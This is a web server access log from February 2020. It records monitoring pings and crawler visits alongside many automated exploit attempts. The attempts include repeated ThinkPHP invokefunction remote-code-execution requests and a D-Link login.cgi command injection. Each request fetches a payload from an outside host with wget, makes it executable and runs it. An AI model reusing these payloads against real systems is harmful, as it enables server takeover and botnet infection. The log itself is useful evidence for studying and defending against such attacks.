5.141.166.180 - - [02/Feb/2020:18:37:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.169.56 - - [02/Feb/2020:18:38:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.202.79.119 - - [02/Feb/2020:18:38:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
201.146.123.42 - - [02/Feb/2020:18:39:20 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:18:39:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.137.158 - - [02/Feb/2020:18:39:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.49.187.144 - - [02/Feb/2020:18:42:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:44:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.202.145.134 - - [02/Feb/2020:18:45:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.54.135.56 - - [02/Feb/2020:18:46:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.255.243.184 - - [02/Feb/2020:18:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:18:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.219.220.38 - - [02/Feb/2020:18:48:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:18:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.205.27 - - [02/Feb/2020:18:48:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.151.149 - - [02/Feb/2020:18:48:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.151.175.80 - - [02/Feb/2020:18:48:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.169.58.141 - - [02/Feb/2020:18:49:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.33.204 - - [02/Feb/2020:18:51:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.210.240 - - [02/Feb/2020:18:52:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.229.116.64 - - [02/Feb/2020:18:52:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.79.55 - - [02/Feb/2020:18:54:24 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.79.52 - - [02/Feb/2020:18:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [02/Feb/2020:18:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.28.59.206 - - [02/Feb/2020:18:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:18:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.215.162.4 - - [02/Feb/2020:18:56:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
5.141.139.61 - - [02/Feb/2020:18:56:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:56:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.167.202.101 - - [02/Feb/2020:18:57:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
118.69.142.83 - - [02/Feb/2020:18:57:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:57:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.191.134.206 - - [02/Feb/2020:18:57:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
151.72.206.126 - - [02/Feb/2020:18:58:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:18:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [02/Feb/2020:19:00:36 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [02/Feb/2020:19:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.6 - - [02/Feb/2020:19:02:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
195.230.113.146 - - [02/Feb/2020:19:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
178.73.215.171 - - [02/Feb/2020:19:03:18 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
197.157.21.82 - - [02/Feb/2020:19:03:20 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
118.70.67.38 - - [02/Feb/2020:19:03:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.8 - - [02/Feb/2020:19:03:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.149.160.10 - - [02/Feb/2020:19:03:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:19:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:07:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.201.254 - - [02/Feb/2020:19:07:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
201.24.70.160 - - [02/Feb/2020:19:08:17 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
35.231.115.240 - - [02/Feb/2020:19:08:20 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.231.115.240 - - [02/Feb/2020:19:08:20 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [02/Feb/2020:19:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.169.58.141 - - [02/Feb/2020:19:09:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
84.241.15.237 - - [02/Feb/2020:19:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:19:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.134 - - [02/Feb/2020:19:11:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.97.253.234 - - [02/Feb/2020:19:12:07 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.97.253.234 - - [02/Feb/2020:19:12:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [02/Feb/2020:19:12:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.24.141 - - [02/Feb/2020:19:14:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [02/Feb/2020:19:16:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.176.221.235 - - [02/Feb/2020:19:20:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [02/Feb/2020:19:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.147 - - [02/Feb/2020:19:22:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.227.24 - - [02/Feb/2020:19:28:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.30.215 - - [02/Feb/2020:19:29:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.1.60 - - [02/Feb/2020:19:30:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.72 - - [02/Feb/2020:19:30:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.83.87 - - [02/Feb/2020:19:31:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:32:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.14.145 - - [02/Feb/2020:19:33:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.136.68 - - [02/Feb/2020:19:33:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.42.19 - - [02/Feb/2020:19:34:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:34:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.209.166 - - [02/Feb/2020:19:36:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:36:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.59.153 - - [02/Feb/2020:19:38:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.73.215.171 - - [02/Feb/2020:19:38:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
42.117.213.8 - - [02/Feb/2020:19:38:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:40:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
